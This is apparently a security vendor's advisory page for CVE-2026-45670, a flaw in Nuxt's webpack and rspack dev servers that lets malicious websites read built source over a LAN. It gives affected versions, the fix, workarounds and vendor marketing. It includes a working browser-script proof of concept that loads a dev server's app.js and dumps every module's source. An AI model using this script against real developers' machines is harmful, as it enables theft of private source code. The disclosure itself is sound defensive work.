CVE-2026-45670

CVE-2026-45670 is a medium-severity security vulnerability in @nuxt/rspack-builder (npm), affecting versions >= 3.15.4, <= 3.21.5. It is fixed in 3.21.6, 4.4.6.

Check whether CVE-2026-45670 affects your applications

Kodem tells you whether this CVE is present, reachable, and actually executing in your application, so you know if it matters.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence. Only the CVEs that actually run in production.

Summary

Nuxt: Dev server exposes built source over LAN to malicious sites (incomplete fix for GHSA-4gf7-ff8x-hq99)

Full technical description

This is an incomplete fix for GHSA-4gf7-ff8x-hq99. Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network.

Details

The fix for GHSA-4gf7-ff8x-hq99 relied on Sec-Fetch-Mode and Sec-Fetch-Site headers. Because these headers are sent by the browsers only for potentially trustworthy origins, the check is able to bypass for non-potentially trustworthy origins.

Since the attack requires the website to be accessible via a non-potentially trustworthy origin, only apps that are using --host is affected.

PoC

  1. Create a nuxt project with webpack / rspack builder.
  2. Run npm run dev
  3. Open http://localhost:3000
  4. Run the script below in a web site that has a different origin.
  5. You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://192.168.0.31:3000/_nuxt/app.js' // NOTE: replace with the IP address the dev server listens to
script.addEventListener('load', () => {
  const key = Object.keys(window).find(k => k.startsWith("webpackChunk"))
  for (const page in window[key]) {
    const moduleList = window[key][page][1]
    console.log(moduleList)

    for (const key in moduleList) {
      const p = document.createElement('p')
      const title = document.createElement('strong')
      title.textContent = key
      const code = document.createElement('code')
      code.textContent = moduleList[key].toString()
      p.append(title, ':', document.createElement('br'), code)
      document.body.appendChild(p)
    }
  }
})
document.head.appendChild(script)

(This script is the similar with GHSA-4gf7-ff8x-hq99 except for the script.src and the global variable name)

Workarounds

If you cannot upgrade immediately:

  • Don't use nuxt dev --host. Bind the dev server to localhost (the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks.
  • Use Chrome 142+ or another Chromium-based browser that enforces local network access restrictions.
  • Switch to the Vite builder for development.

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites if it uses a predictable host and also is using --host.

This vulnerability does not affect Chrome 142+ (and other Chromium based browsers) users due to the local network access restriction feature.

CVE-2026-45670 has a CVSS score of 5.4 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.21.6, 4.4.6); upgrading removes the vulnerable code path.

Affected versions

@nuxt/rspack-builder (>= 3.15.4, <= 3.21.5) @nuxt/rspack-builder (>= 4.0.0-alpha.1, <= 4.4.5) @nuxt/webpack-builder (>= 3.15.4, <= 3.21.5) @nuxt/webpack-builder (>= 4.0.0-alpha.1, <= 4.4.5)

Security releases

@nuxt/rspack-builder → 3.21.6 (npm) @nuxt/rspack-builder → 4.4.6 (npm) @nuxt/webpack-builder → 3.21.6 (npm) @nuxt/webpack-builder → 4.4.6 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Fixed in [email protected] and [email protected] by #35051. The dev-middleware same-origin check now falls back to comparing the request's Origin / Referer host against Host when Sec-Fetch-* headers are absent, closing the non-trustworthy-origin bypass.

The fix only ships for the @nuxt/webpack-builder and @nuxt/rspack-builder packages. The default Vite builder was not affected.

Frequently Asked Questions

  1. What is CVE-2026-45670? CVE-2026-45670 is a medium-severity security vulnerability in @nuxt/rspack-builder (npm), affecting versions >= 3.15.4, <= 3.21.5. It is fixed in 3.21.6, 4.4.6.
  2. How severe is CVE-2026-45670? CVE-2026-45670 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which packages are affected by CVE-2026-45670?
    • @nuxt/rspack-builder (npm) (versions >= 3.15.4, <= 3.21.5)
    • @nuxt/webpack-builder (npm) (versions >= 3.15.4, <= 3.21.5)
  4. Is there a fix for CVE-2026-45670? Yes. CVE-2026-45670 is fixed in 3.21.6, 4.4.6. Upgrade to this version or later.
  5. Is CVE-2026-45670 exploitable, and should I be worried? Whether CVE-2026-45670 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-45670 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-45670?
    • Upgrade @nuxt/rspack-builder to 3.21.6 or later
    • Upgrade @nuxt/rspack-builder to 4.4.6 or later
    • Upgrade @nuxt/webpack-builder to 3.21.6 or later
    • Upgrade @nuxt/webpack-builder to 4.4.6 or later

Other vulnerabilities in @nuxt/rspack-builder

Stop the waste.
Protect your environment with Kodem.